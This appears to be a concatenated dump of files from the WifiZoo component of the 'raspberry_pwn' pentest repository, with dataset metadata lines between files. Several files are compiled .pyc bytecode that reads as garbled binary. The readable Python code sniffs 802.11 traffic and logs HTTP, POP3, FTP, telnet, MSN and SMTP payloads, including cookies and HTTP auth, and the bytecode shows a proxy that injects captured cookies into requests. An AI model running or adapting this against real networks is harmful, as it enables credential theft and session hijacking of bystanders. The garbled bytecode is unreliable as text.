ServerClasstprotocolRìtserver_addressthttpdtsa((s#/root/wifizoo_v1.3/wifizoowebgui.pytrunÕs   (RãRåRRû(((s#/root/wifizoo_v1.3/wifizoowebgui.pyRí s (tBaseHTTPServerRturlparset SocketServerRt threadingRRPRCR.RïR0RRtThreadingMixInt HTTPServerRêRëRí(((s#/root/wifizoo_v1.3/wifizoowebgui.pyt<module>s"           ˇ≥  
18,610
Python
.py
161
114.590062
815
0.398591
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,843
wifizooproxy.pyc
pwnieexpress_raspberry_pwn/src/pentest/wifizoo/wifizooproxy.pyc
Ñò /“Gc @s×dZdZddkZddkZddkZddkZddkZddkZddkZddk Z ddk l Z dei fd„ƒYZ deieifd„ƒYZd „Zd e fd „ƒYZdS( s Tiny HTTP Proxy. This module implements GET, HEAD, POST, PUT and DELETE methods on BaseHTTPServer, and behaves as an HTTP proxy. The CONNECT method is also implemented experimentally, but has not been tested yet. Any help will be greatly appreciated. SUZUKI Hisao s0.2.1iÿÿÿÿN(tThreadt ProxyHandlercBsreZeiZeiZdeZdZ d„Zd„Z d„Z d„Z dd„Z e Ze Ze Ze ZRS(sTinyHTTPProxy/icCsq|i\}}t|dƒoD||ijo4|iiƒ|_|iƒo|idƒqmn |iƒdS(Ntallowed_clientsi“( tclient_addressthasattrRtrfiletreadlinetraw_requestlinet parse_requestt send_errort_ProxyHandler__base_handle(tselftiptport((s"/root/wifizoo_v1.3/wifizooproxy.pythandle%s   cCs©|idƒ}|djo"|| t||dƒf}n |df}y|i|ƒWnGtij o8}y|d}Wn |}nX|id|ƒdSXdS(Nt:iiiPi”(tfindtinttconnecttsocketterrorR (R tnetloctsoctit host_porttargtmsg((s"/root/wifizoo_v1.3/wifizooproxy.pyt _connect_to-s "  cCs³tititiƒ}z||i|i|ƒob|idƒ|ii|idƒ|iid|i ƒƒ|iidƒ|i |dƒnWd|i ƒ|i i ƒXdS(NiÈs 200 Connection established sProxy-agent: %s s i,( RtAF_INETt SOCK_STREAMRtpatht log_requesttwfiletwritetprotocol_versiontversion_stringt _read_writetcloset connection(R R((s"/root/wifizoo_v1.3/wifizooproxy.pyt do_CONNECT<s  c CsÈti|idƒ\}}}}}}|djp|p| o|idd|iƒdStititiƒ}z2|i||ƒo|id|iti dd|||dfƒ|i fƒt i i ƒ}|djody|id} Wn d} nX| djo|iƒ|id<qH| d|iƒ|id<nd|id <|id =x(|iiƒD]} |id | ƒqoW|id ƒ|i|ƒnWd|iƒ|iiƒXdS( Nthttpi�s bad url %ss %s %s %s ttCookiet;R%t ConnectionsProxy-Connections%s: %s s (turlparseRR RRRRtsendtcommandt urlunparsetrequest_versiont wifiglobalstInfot getCookietNonetheaderstgetDatatitemsR$R%R&( R tscmRRtparamstquerytfragmentRtaCookietctkey_val((s"/root/wifizoo_v1.3/wifizooproxy.pytdo_GETKs<!        ic CsÚ|i|g}g}d}x¸|d7}ti|||dƒ\}}}|oPn|obxb|D]S} | |jo |i} n|} | idƒ} | o| i| ƒd}qcqcWnq||joPqqdS(Niiii (R&tselecttrecvR.( R Rt max_idlingtiwtowtcounttinst_texsRtouttdata((s"/root/wifizoo_v1.3/wifizooproxy.pyR$ns* !    (t__name__t __module__tBaseHTTPServertBaseHTTPRequestHandlert_ProxyHandler__baseRR t __version__tserver_versiontrbufsizeRR'R@R$tdo_HEADtdo_POSTtdo_PUTt do_DELETE(((s"/root/wifizoo_v1.3/wifizooproxy.pyRs       # tThreadingHTTPServercBseZRS((RLRM(((s"/root/wifizoo_v1.3/wifizooproxy.pyRXŠscCsdS(N((((s"/root/wifizoo_v1.3/wifizooproxy.pyt dummy_logžst WifiZooProxycBseZd„Zd„ZRS(cCsti|ƒdS(N(Rt__init__(R ((s"/root/wifizoo_v1.3/wifizooproxy.pyR[¢scCst}t}d}d}d|f}||_|||ƒ}t|_|iiƒ}dG|dGdG|dGdGH|iƒdS( NsHTTP/1.0i�s 127.0.0.1sWifiZoo HTTP Proxy oniR is...(RRXR"RYt log_messageRt getsocknamet serve_forever(R t HandlerClasst ServerClasstprotocolR tserver_addressthttpdtsa((s"/root/wifizoo_v1.3/wifizooproxy.pytrun¤s   (RLRMR[Re(((s"/root/wifizoo_v1.3/wifizooproxy.pyRZ¡s (t__doc__RQRNRARt SocketServerR-R2turllibtcgit threadingRRORtThreadingMixInt HTTPServerRXRYRZ(((s"/root/wifizoo_v1.3/wifizooproxy.pyt<module>s<   l  
5,372
Python
.py
44
120.909091
1,222
0.40811
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,844
wifiglobals.py
pwnieexpress_raspberry_pwn/src/pentest/wifizoo/wifiglobals.py
# WifiZoo # complains to Hernan Ochoa (hernan@gmail.com) import curses.ascii from scapy import * import datetime import WifiZooEntities import os class WifiGlobals: def __init__(self): self.APdict = {} self.AccessPointsList = [] self.ProbeRequestsListBySSID = [] self.ProbeRequestsListBySRC = [] self._hasPrismHeaders = 1 self._logdir = "./logs/" self._Cookie = None self._CookiesList = [] self._pktCounters = {} self._OUIList = '' def incrementCounter(self, proto): if self._pktCounters.has_key(proto): n = self._pktCounters[proto] self._pktCounters[proto] = n+1 else: self._pktCounters[proto] = 1 def getCounter(self, proto): return self._pktCounters[proto] def getAllCounters(self): return self._pktCounters def getMACVendor(self, aMAC): if len(aMAC) < 8: return 'Unknown' if self._OUIList == '': f = open("oui_list.txt", "rb") self._OUIList = f.read() f.close() lines = self._OUIList.split('\n') myMAC = aMAC[0:8] myMAC = myMAC.lower() for line in lines: if len(line) > 8: vendorname = line.split('\t')[2] vendormac = line[0:8].replace('-',':').lower() if vendormac == myMAC: return vendorname return 'Unknown' def addCookie(self, aCookie): self._CookiesList.append(aCookie) return def getCookiesList(self): return self._CookiesList def setCookie(self, aCookie): self._Cookie = aCookie def getCookie(self): return self._Cookie def setHasPrismHeaders(self, aBoolean): self._hasPrismHeaders = aBoolean def hasPrismHeaders(self): return self._hasPrismHeaders def getClients(self): return self.APdict def logDir(self): if not os.path.isdir( self._logdir ): os.mkdir( self._logdir ) return "./logs/" def getProbeRequestsBySSID(self): return self.ProbeRequestsListBySSID def addProbeRequest(self, aProbeRequest): # add ProbeRequest by SSID found = 0 if len(aProbeRequest.getSSID()) > 0: for pr in self.ProbeRequestsListBySSID: if pr.getSSID() == aProbeRequest.getSSID(): # TODO: change the LASTSEEN thing found = 1 # if SSID was not seen before, add it to the list if len(aProbeRequest.getSSID()) > 0 and found == 0: self.ProbeRequestsListBySSID.append( aProbeRequest ) #add ProbeRequest by SRC if len(aProbeRequest.getSSID()) == 0: for pr in self.ProbeRequestsListBySRC: if aProbeRequest.getSRC() == pr.getSRC() and pr.getSSID() == "<Empty>": return aProbeRequest.setSSID( "<Empty>" ) self.ProbeRequestsListBySRC.append( aProbeRequest ) return else: for pr in self.ProbeRequestsListBySRC: if pr.getSRC() == aProbeRequest.getSRC() and pr.getSSID() == aProbeRequest.getSSID(): return # add proberequests with different src or ssid self.ProbeRequestsListBySRC.append( aProbeRequest ) def dumpProbeRequests(self): if len(self.ProbeRequestsListBySSID) >= 1: prf = open( self.logDir() + "probereqsuniqssid.log", "wb" ) for pr in self.ProbeRequestsListBySSID: prf.write("ssid=" + pr.getSSID() + " dst=" + pr.getDST() + " src=" + pr.getSRC() + " bssid=" + pr.getBSSID() + " (ch: " + str(pr.getChannel()) + ")" + "\n") prf.close() if len(self.ProbeRequestsListBySRC) >= 1: prf = open( self.logDir() + "probereqbysrc.log", "wb" ) setup = """ digraph ProbeReqGraph { compound=true; ranksep=1.25; rankdir="LR"; label="Probe Requests by SRC and SSID"; node [shape=ellipse, fontsize=12]; bgcolor=white; edge[arrowsize=1, color=black]; """ prf.write(setup + "\n\n") for pr in self.ProbeRequestsListBySRC: prf.write( "\"" + pr.getSSID() + "\"" + " -> " + "\"" + pr.getSRC() + "\"" + "\r\n" ) prf.write("}\n\n") prf.close() def getAPList(self): return self.AccessPointsList def getAPbyBSSID(self, aBSSID): for ap in self.AccessPointsList: if ap.getBSSID() == aBSSID: return ap return None def addAccessPoint(self, bssid, ssid, channel, isprotected): apFound = 0 for ap in self.AccessPointsList: if ap.getBSSID() == bssid: apFound = 1 # could modify this to 'update' SSID of bssid, but mmm if apFound == 1: return 0 anAP = WifiZooEntities.AccessPoint() anAP.setBSSID( bssid ) anAP.setSSID( ssid ) anAP.setChannel( channel ) anAP.setProtected( isprotected ) # I assume it was found NOW, right before this function was called anAP.setFoundWhen( datetime.datetime.now() ) self.AccessPointsList.append(anAP) return 1 def dumpAccessPointsList(self, outfile='ssids.log'): if len(self.AccessPointsList) < 1: return sf = open( self.logDir() + outfile , "wb" ) # first dump OPEN networks for ap in self.AccessPointsList: if not ap.isProtected(): sf.write( str(ap.getBSSID()) + " -> " + str(ap.getSSID()) + " (ch:" + str(ap.getChannel()) + ")" + " (Encryption:Open)" + " (when: " + str(ap.getFoundWhenString()) + ")" + "\n" ) # now protected networks for ap in self.AccessPointsList: if ap.isProtected(): sf.write( str(ap.getBSSID()) + " -> " + str(ap.getSSID()) + " (ch:" + str(ap.getChannel()) + ")" + " (Encryption:YES)" + " (when: " + str(ap.getFoundWhenString()) + ")" + "\n" ) sf.close() return def addClients(self, src, dst, bssid): bssidfound = 0 dump = 0 for x in self.APdict.keys(): if x == bssid: bssidfound = 1 clientList = self.APdict[ x ] srcFound = 0 dstFound = 0 for client in clientList: if client == src: srcFound = 1 if client == dst: dstFound = 1 if srcFound == 0: if src != "ff:ff:ff:ff:ff:ff" and src != bssid: dump = 1 clientList.append(src) if dstFound == 0: if dst != "ff:ff:ff:ff:ff:ff" and dst != bssid: dump = 1 clientList.append(dst) self.APdict[ x ] = clientList if bssidfound == 0: alist = [] if src != 'ff:ff:ff:ff:ff:ff' and src != bssid: dump = 1 alist.append( src ) if dst != 'ff:ff:ff:ff:ff:ff' and src != dst and dst != bssid: dump = 1 alist.append( dst ) self.APdict[ bssid ] = alist # add this 'nameless' bssid also to the list of access points #self.addAccessPoint(bssid, '<addedbyClient>', 0, 0) if dump == 1: fdump = open(self.logDir()+"clients.log", "wb") #fdump.write("--DUMP-----" + "-"*30 + "\n") fdump.write("digraph APgraph {\n\n") setup = """ compound=true; ranksep=1.25; rankdir="LR"; label="802.11 bssids->clients"; node [shape=ellipse, fontsize=12]; bgcolor=white; edge[arrowsize=1, color=black]; """ fdump.write(setup + "\n\n") for apmac in self.APdict.keys(): clientList = self.APdict[ apmac ] for client in clientList: #fdump.write("\"" + apmac + "\" -> \"" + client + "\"\n") ssid = self.getSSID(apmac) fdump.write("\"" + apmac + " (" + ssid + ")\" -> \"" + client + "\"\n") fdump.write("\n }\n") #fdump.write("-----------" + "-"*30 + "\n") fdump.close() def getSSID(self, bssid): aSsid = 'Unknown' for ap in self.AccessPointsList: if ap.getBSSID() == bssid: aSsid = ap.getSSID() return aSsid # my weird version def isAlpha(self, c): if c != '\x0A' and c != '\x0D': if curses.ascii.isctrl(c): return 0 return 1 def getSrcDstBssid(self, pkt): bssid = '' src = '' dst = '' #0 = mgmt, 1=control, 2=data p = pkt.getlayer(Dot11) # is it a DATA packet? t = p.type if t == 2: # if packet FROMDS then dst,bssid,src # if packet TODS then bssid,src,dst # toDS if p.FCfield & 1: #print "toDS" bssid = str(p.addr1) src = str(p.addr2) dst = str(p.addr3) # fromDS elif p.FCfield & 2: #print "fromDS" dst = str(p.addr1) bssid = str(p.addr2) src = str(p.addr3) # if bits are 0 & 0, thn ad-hoc network # if bits are 1 & 1, then WDS system # TODO return (src,dst,bssid) Info = WifiGlobals()
8,025
Python
.py
250
27.432
205
0.635077
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,845
wifiglobals.pyc
pwnieexpress_raspberry_pwn/src/pentest/wifizoo/wifiglobals.pyc
Ñò /“Gc@sZddkZddkTddkZddkZddkZdfd„ƒYZeƒZdS(iÿÿÿÿN(t*t WifiGlobalscBsãeZd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Z d„Z d „Z d „Z d „Z d „Zd „Zd„Zd„Zd„Zd„Zd„Zdd„Zd„Zd„Zd„Zd„ZRS(cCs^h|_g|_g|_g|_d|_d|_d|_g|_h|_ d|_ dS(Nis./logs/t( tAPdicttAccessPointsListtProbeRequestsListBySSIDtProbeRequestsListBySRCt_hasPrismHeaderst_logdirtNonet_Cookiet _CookiesListt _pktCounterst_OUIList(tself((s!/root/wifizoo_v1.3/wifiglobals.pyt__init__ s         cCsF|ii|ƒo"|i|}|d|i|<nd|i|<dS(Ni(R thas_key(Rtprototn((s!/root/wifizoo_v1.3/wifiglobals.pytincrementCounters cCs |i|S(N(R (RR((s!/root/wifizoo_v1.3/wifiglobals.pyt getCounterscCs|iS(N(R (R((s!/root/wifizoo_v1.3/wifiglobals.pytgetAllCounters scCsït|ƒdjodS|idjo,tddƒ}|iƒ|_|iƒn|iidƒ}|dd!}|iƒ}xi|D]a}t|ƒdjoH|idƒd }|dd!id d ƒiƒ}||jo|Sq†q†WdS( NitUnknownRs oui_list.txttrbs is it-t:(tlenR topentreadtclosetsplittlowertreplace(RtaMACtftlinestmyMACtlinet vendornamet vendormac((s!/root/wifizoo_v1.3/wifiglobals.pyt getMACVendor#s"    cCs|ii|ƒdS(N(R tappend(RtaCookie((s!/root/wifizoo_v1.3/wifiglobals.pyt addCookie6scCs|iS(N(R (R((s!/root/wifizoo_v1.3/wifiglobals.pytgetCookiesList:scCs ||_dS(N(R (RR*((s!/root/wifizoo_v1.3/wifiglobals.pyt setCookie>scCs|iS(N(R (R((s!/root/wifizoo_v1.3/wifiglobals.pyt getCookieAscCs ||_dS(N(R(RtaBoolean((s!/root/wifizoo_v1.3/wifiglobals.pytsetHasPrismHeadersDscCs|iS(N(R(R((s!/root/wifizoo_v1.3/wifiglobals.pythasPrismHeadersFscCs|iS(N(R(R((s!/root/wifizoo_v1.3/wifiglobals.pyt getClientsHscCs.tii|iƒpti|iƒndS(Ns./logs/(tostpathtisdirRtmkdir(R((s!/root/wifizoo_v1.3/wifiglobals.pytlogDirKscCs|iS(N(R(R((s!/root/wifizoo_v1.3/wifiglobals.pytgetProbeRequestsBySSIDPscCssd}t|iƒƒdjo;x8|iD])}|iƒ|iƒjo d}q)q)Wnt|iƒƒdjo!|djo|ii|ƒnt|iƒƒdjogxB|iD]7}|iƒ|iƒjo|iƒdjodSq·W|idƒ|ii|ƒdSxH|iD]=}|iƒ|iƒjo|iƒ|iƒjodSqW|ii|ƒdS(Niis<Empty>(RtgetSSIDRR)RtgetSRCtsetSSID(Rt aProbeRequesttfoundtpr((s!/root/wifizoo_v1.3/wifiglobals.pytaddProbeRequestSs* & ,   2 cCs\t|iƒdjo˜t|iƒddƒ}xn|iD]c}|id|iƒd|iƒd|iƒd|iƒdt |i ƒƒd d ƒq9W|i ƒnt|i ƒdjo”t|iƒd dƒ}d }|i|d ƒxF|i D];}|id|iƒddd|iƒddƒqþW|idƒ|i ƒndS(Nisprobereqsuniqssid.logtwbsssid=s dst=s src=s bssid=s (ch: t)s sprobereqbysrc.logs  digraph ProbeReqGraph { compound=true; ranksep=1.25; rankdir="LR"; label="Probe Requests by SRC and SSID"; node [shape=ellipse, fontsize=12]; bgcolor=white; edge[arrowsize=1, color=black]; s s"s -> s s} ( RRRR7twriteR9tgetDSTR:tgetBSSIDtstrt getChannelRR(RtprfR>tsetup((s!/root/wifizoo_v1.3/wifiglobals.pytdumpProbeRequestsrs a  9 cCs|iS(N(R(R((s!/root/wifizoo_v1.3/wifiglobals.pyt getAPList�scCs0x)|iD]}|iƒ|jo|Sq WdS(N(RRDR (RtaBSSIDtap((s!/root/wifizoo_v1.3/wifiglobals.pyt getAPbyBSSID“s   cCs³d}x.|iD]#}|iƒ|jo d}qqW|djodStiƒ}|i|ƒ|i|ƒ|i|ƒ|i|ƒ|it i i ƒƒ|ii |ƒdS(Nii( RRDtWifiZooEntitiest AccessPointtsetBSSIDR;t setChannelt setProtectedt setFoundWhentdatetimetnowR)(Rtbssidtssidtchannelt isprotectedtapFoundRLtanAP((s!/root/wifizoo_v1.3/wifiglobals.pytaddAccessPoint™s       s ssids.logcCsVt|iƒdjodSt|iƒ|dƒ}x‡|iD]|}|iƒpi|it|iƒƒdt|iƒƒdt|i ƒƒdddt|i ƒƒddƒq>q>Wx‡|iD]|}|iƒoi|it|iƒƒdt|iƒƒdt|i ƒƒdd dt|i ƒƒddƒqÈqÈW|i ƒdS( NiR@s -> s (ch:RAs (Encryption:Open)s (when: s s (Encryption:YES)( RRRR7t isProtectedRBRERDR9RFtgetFoundWhenStringR(RtoutfiletsfRL((s!/root/wifizoo_v1.3/wifiglobals.pytdumpAccessPointsList­s  m  m cCsŽd}d}x|iiƒD]}||joód}|i|}d}d} x<|D]4} | |jo d}n| |jo d} qUqUW|djo5|djo$||jod}|i|ƒqÏn| djo5|djo$||jod}|i|ƒqn||i|<qqW|djo†g} |djo$||jod}| i|ƒn|djo1||jo$||jod}| i|ƒn| |i|<n|djoÄt|iƒddƒ} | idƒd} | i| dƒxi|iiƒD]X}|i|}xB|D]:} |i|ƒ}| id |d |d | d ƒq-WqW| id ƒ| iƒndS(Niisff:ff:ff:ff:ff:ffs clients.logR@sdigraph APgraph { sÒ compound=true; ranksep=1.25; rankdir="LR"; label="802.11 bssids->clients"; node [shape=ellipse, fontsize=12]; bgcolor=white; edge[arrowsize=1, color=black]; s s"s (s)" -> "s" s } (RtkeysR)RR7RBR9R(RtsrctdstRVt bssidfoundtdumptxt clientListtsrcFoundtdstFoundtclienttalisttfdumpRHtapmacRW((s!/root/wifizoo_v1.3/wifiglobals.pyt addClients¿s^        '   - cCsAd}x4|iD])}|iƒ|jo|iƒ}qqW|S(NR(RRDR9(RRVtaSsidRL((s!/root/wifizoo_v1.3/wifiglobals.pyR9s  cCs:|djo)|djotii|ƒodSndS(Ns s ii(tcursestasciitisctrl(Rtc((s!/root/wifizoo_v1.3/wifiglobals.pytisAlpha s cCsÆd}d}d}|itƒ}|i}|djo‚|id@o1t|iƒ}t|iƒ}t|iƒ}q¹|id@o1t|iƒ}t|iƒ}t|iƒ}q¹n|||fS(NRii(tgetlayertDot11ttypetFCfieldREtaddr1taddr2taddr3(RtpktRVRcRdtptt((s!/root/wifizoo_v1.3/wifiglobals.pytgetSrcDstBssids  (t__name__t __module__RRRRR(R+R,R-R.R0R1R2R7R8R?RIRJRMR\RaRoR9RuR€(((s!/root/wifizoo_v1.3/wifiglobals.pyR s0                    B  (t curses.asciiRqtscapyRTRNR3RtInfo(((s!/root/wifizoo_v1.3/wifiglobals.pyt<module>s     ÿ#
9,370
Python
.py
79
115.911392
641
0.364734
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,846
wifizoo.py
pwnieexpress_raspberry_pwn/src/pentest/wifizoo/wifizoo.py
# wifizoo # complains to Hernan Ochoa (hernan@gmail.com) import sys import curses.ascii from scapy import * import scapy import wifiglobals import appHandlers import datetime import getopt from scapy.all import * import WifiZooEntities import wifizoowebgui import wifizooproxy # tcp port numbers HTTP_PORT = 80 POP3_PORT = 110 FTP_PORT = 21 TELNET_PORT = 23 MSN_PORT = 1863 SMTP_PORT = 25 # udp port numbers NETBIOS_NS_UDP = 137 NETBIOS_DGM_UDP = 138 # dictionary of portnumber->handler tcpHandlers = {} udpHandlers = {} # add your handlers here # tcpHandlers tcpHandlers[ HTTP_PORT ] = appHandlers.httpHandler tcpHandlers[ POP3_PORT ] = appHandlers.pop3Handler tcpHandlers[ FTP_PORT ] = appHandlers.ftpHandler tcpHandlers[ TELNET_PORT ] = appHandlers.telnetHandler tcpHandlers[ MSN_PORT ] = appHandlers.msnHandler tcpHandlers[ SMTP_PORT ] = appHandlers.smtpHandler # udpHandlers udpHandlers[ NETBIOS_NS_UDP ] = appHandlers.netbiosnsHandler udpHandlers[ NETBIOS_DGM_UDP ] = appHandlers.netbiosdgmHandler #config conf.verb=0 # interface where to listen for traffic # tested with a rt2570 chipset conf.iface = 'rausb0' def showBanner(): print "WifiZoo v1.3 -complaints to Hernan Ochoa (hernan@gmail.com)" print "options:" print "\t-i <interface>" print "\t-c <pcap_file>\n" ### MAIN ### if len(sys.argv) < 2: showBanner() sys.exit(0) # parameters iface_name = 'None' pcap_filename = 'None' pcap_opt = 0 iface_opt = 0 try: opts, args = getopt.getopt(sys.argv[1:], 'i:c:') except getopt.GetoptError, e: print e sys.exit(0) for o, a in opts: if o == '-i': iface_name = a iface_opt = 1 elif o == '-c': pcap_filename = a pcap_opt = 1 if pcap_opt == 1 and iface_opt == 1: showBanner() print "You cannot use -i and -c together!." sys.exit(0) if pcap_opt == 0 and iface_opt == 0: showBanner() sys.exit(0) if iface_opt == 1: conf.iface = iface_name print "WifiZoo v1.3, complains to Hernan Ochoa (hernan@gmail.com)" if iface_opt == 1: print "using interface %s" % iface_name elif pcap_opt == 1: print "using capture file %s" % pcap_filename webgui = wifizoowebgui.WifiZooWebGui() webgui.start() webproxy = wifizooproxy.WifiZooProxy() webproxy.start() print "Waiting..." # if pcap file specified, read packets from file if pcap_opt == 1: pcapr = PcapReader(pcap_filename) while 1: # mm, would be better to use callback perhaps. TODO if iface_opt == 1: p = sniff(filter=None, iface=conf.iface, count=1) pkt = p[0] elif pcap_opt == 1: try: pkt = pcapr.next() except: continue if not pkt.haslayer(Dot11): # this is not a 802.11 packet continue if pkt.haslayer(Dot11): if not pkt.haslayer(PrismHeader): # I assume now the card does not output prism headers wifiglobals.Info.setHasPrismHeaders(0) else: wifiglobals.Info.setHasPrismHeaders(1) #if not pkt.haslayer(PrismHeader) or not pkt.haslayer(Dot11): # continue # try to add to AP & clients list #0 = mgmt, 1=control, 2=data d = pkt.getlayer(Dot11) t= pkt.getlayer(Dot11).type if t == 2: # if packet FROMDS then dst,bssid,src # if packet TODS then bssid,src,dst # toDS #print d.mysummary() #print d.FCfield if d.FCfield & 1: #print "toDS" bssid = str(d.addr1) src = str(d.addr2) dst = str(d.addr3) wifiglobals.Info.addClients(src,dst,bssid) #try to add the bssid to our list of APs # this is hardcore :) isprotected = 0 if pkt.sprintf("%Dot11ProbeResp.cap%").find("privacy") != -1: isprotected = 1 else: isprotected = 0 pktChannel = 0 if wifiglobals.Info.hasPrismHeaders() == 1: pktChannel = pkt.channel if wifiglobals.Info.addAccessPoint( bssid, '', pktChannel, isprotected ) == 1: wifiglobals.Info.dumpAccessPointsList() # fromDS elif d.FCfield & 2: #print "fromDS" dst = str(d.addr1) bssid = str(d.addr2) src = str(d.addr3) wifiglobals.Info.addClients(src,dst,bssid) #try to add the bssid to our list of APs # this is hardcore :) isprotected = 0 if pkt.sprintf("%Dot11ProbeResp.cap%").find("privacy") != -1: isprotected = 1 else: isprotected = 0 pktChannel = 0 if wifiglobals.Info.hasPrismHeaders() == 1: pktChannel = pkt.channel if wifiglobals.Info.addAccessPoint( bssid, '', pktChannel, isprotected ) == 1: wifiglobals.Info.dumpAccessPointsList() # if bits are 0 & 0, thn ad-hoc network # if bits are 1 & 1, then WDS system #print wifiglobals.Info.getClients() # is the packet encrypted? #if d.FCfield & 0x40 == 0: # print "UNENCRYPTED" #else: # print "ENCRYPTED" # is it a probe request? if pkt.haslayer(Dot11ProbeReq): aProbeRequest = WifiZooEntities.ProbeRequest() aProbeRequest.setPKT(pkt) aProbeRequest.setDST( str(pkt.getlayer(Dot11).addr1) ) aProbeRequest.setSRC( str(pkt.getlayer(Dot11).addr2) ) aProbeRequest.setBSSID( str(pkt.getlayer(Dot11).addr3) ) if wifiglobals.Info.hasPrismHeaders() == 1: aProbeRequest.setChannel( pkt.channel ) else: aProbeRequest.setChannel( 0 ) thetime = datetime.datetime.now() aProbeRequest.setFirstSeen( thetime ) aProbeRequest.setLastSeen( thetime ) # let's check if the ssid is 'printable' assid = pkt.sprintf("%Dot11ProbeReq.info%") #print len(assid) #for x in assid: # print hex(ord(x)) #print "===FIN===" isPrintable = 1 for x in assid: if not wifiglobals.Info.isAlpha(x): isPrintable = 0 break if isPrintable == 0: temp = assid assid = '' for x in temp: assid = assid + str(hex(ord(x))) aProbeRequest.setSSID( assid ) wifiglobals.Info.addProbeRequest( aProbeRequest ) wifiglobals.Info.dumpProbeRequests() if pkt.haslayer(Dot11ProbeResp): #dst,src,bssid src = str(pkt.getlayer(Dot11).addr2) ssid = pkt.sprintf("%Dot11ProbeResp.info%") # this is hardcore :) if pkt.sprintf("%Dot11ProbeResp.cap%").find("privacy") != -1: isprotected = 1 else: isprotected = 0 pktChannel = 0 if wifiglobals.Info.hasPrismHeaders() == 1: pktChannel = pkt.channel if wifiglobals.Info.addAccessPoint( src, ssid, pktChannel, isprotected ) == 1: wifiglobals.Info.dumpAccessPointsList() # is it a beacon? # if it is, get SSID if pkt.haslayer(Dot11Beacon): # bssid j = pkt.getlayer(Dot11).addr3 # ssid s = pkt.getlayer(Dot11Beacon).getlayer(Dot11Elt).info # this is hardcore :) if pkt.sprintf("%Dot11Beacon.cap%").find("privacy") != -1: isprotected = 1 else: isprotected = 0 pktChannel = 0 if wifiglobals.Info.hasPrismHeaders() == 1: pktChannel = pkt.channel if wifiglobals.Info.addAccessPoint( j, s, pktChannel, isprotected) == 1: wifiglobals.Info.dumpAccessPointsList() if pkt.getlayer(IP) == 0 or pkt.getlayer(UDP) == 0 or pkt.getlayer(TCP) == 0: continue dot11 = pkt.getlayer(Dot11) raw = pkt['Raw'] ippkt = pkt['IP'] tpkt = None isUDP = 0 isTCP = 0 #isUDP = isTCP = 0 try: tpkt = pkt['UDP'] if tpkt != None: isUDP = 1 except e: print "error in udp" isUDP = 0 if isUDP == 0: try: tpkt = pkt['TCP'] if tpkt != None: isTCP = 1 except ex: print "error in tcp" isTCP = 0 if isTCP == 1: try: if wifiglobals.Info.hasPrismHeaders() == 1: print "Channel: " + str(pkt.channel) else: print "Channel: Unavailable (No PrismHeaders)." except Exception, e: print e (src,dst,bssid) = wifiglobals.Info.getSrcDstBssid(pkt) print "bssid=" + bssid + " src=" + src + " dst=" + dst print "TCP: " + str(ippkt.src) + "." + str(tpkt.sport) + ' -> ' + str(ippkt.dst) + "." + str(tpkt.dport) if isUDP == 1: if wifiglobals.Info.hasPrismHeaders() == 1: print "Channel: " + str(pkt.channel) else: print "Channel: Unavailable (No PrismHeaders)." (src,dst,bssid) = wifiglobals.Info.getSrcDstBssid(pkt) print "bssid=" + bssid + " src=" + src + " dst=" + dst print "UDP: " + str(ippkt.src) + "." + str(tpkt.sport) + ' -> ' + str(ippkt.dst) + "." + str(tpkt.dport) if raw != None: if isTCP: for port in tcpHandlers.keys(): if tpkt.dport == port or tpkt.sport == port: tcpHandlers[ port ](pkt) if isUDP: for port in udpHandlers.keys(): if tpkt.dport == port or tpkt.sport == port: udpHandlers[ port ](pkt)
8,566
Python
.py
283
25.989399
106
0.671143
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,847
appHandlers.py
pwnieexpress_raspberry_pwn/src/pentest/wifizoo/appHandlers.py
# wifizoo # app handlers # complains to Hernan Ochoa (hernan@gmail.com) import curses.ascii from scapy import * import wifiglobals import datetime # big TODO: create class hierarchy, the same code is repeated 10 times def msnHandler(pkt): wifiglobals.Info.incrementCounter('1863/tcp') raw = pkt['Raw'] ippkt = pkt['IP'] tpkt = pkt['TCP'] dot11 = pkt.getlayer(Dot11) f = open(wifiglobals.Info.logDir()+"msn.log", "ab") f.write( "WHEN: " + str(datetime.datetime.now()) + "\n" ) pktChannel = 0 if wifiglobals.Info.hasPrismHeaders() == 1: pktChannel = pkt.channel f.write("SRC: channel " + str(pktChannel) + "\n") (src,dst,bssid) = wifiglobals.Info.getSrcDstBssid(pkt) ssid = wifiglobals.Info.getSSID(bssid) f.write("SRC: bssid=" + bssid + " (" + ssid + ")" + " src=" + src + " dst=" + dst + "\n") f.write("TCP: " + str(ippkt.src) + "." + str(tpkt.sport) + ' -> ' + str(ippkt.dst) + "." + str(tpkt.dport) + '\n') for c in str(raw): if wifiglobals.Info.isAlpha(c): f.write(c) f.write('\n') f.close() return def httpHandler(pkt): wifiglobals.Info.incrementCounter('80/tcp') raw = pkt['Raw'] dot11 = pkt.getlayer(Dot11) ippkt = pkt['IP'] tpkt = pkt['TCP'] f = open(wifiglobals.Info.logDir()+"http.log", "ab") cf = open(wifiglobals.Info.logDir()+"cookies.log", "ab") cf2 = open(wifiglobals.Info.logDir()+"httpauth.log", "ab") when = "WHEN: " + str(datetime.datetime.now()) + "\n" f.write(when) pktChannel = 0 if wifiglobals.Info.hasPrismHeaders() == 1: pktChannel = pkt.channel src = "SRC: channel " + str(pktChannel) + "\n" f.write(src) (src,dst,bssid) = wifiglobals.Info.getSrcDstBssid(pkt) ssid = wifiglobals.Info.getSSID(bssid) airdata = "SRC: bssid=" + bssid + " (" + ssid + ")" + " src=" + src + " dst=" + dst + "\n" f.write(airdata) tcpdata = "TCP: " + str(ippkt.src) + "." + str(tpkt.sport) + ' -> ' + str(ippkt.dst) + "." + str(tpkt.dport) + '\n' f.write(tcpdata) data = '' for c in str(raw): if wifiglobals.Info.isAlpha(c): data = data + c f.write(data) lines = data.split('\n') post = '' get = '' hosth = '' for line in lines: if line.find("POST ") != -1 or line.find("post ") != -1: post = line if line.find("GET ") != -1 or line.find("get ") != -1: get = line if line.find("Host:") != -1 or line.find("host:") != -1: hosth = line if line.find("Set-Cookie:") != -1 or line.find("Cookie:") != -1: cf.write("-"*80+"\n") 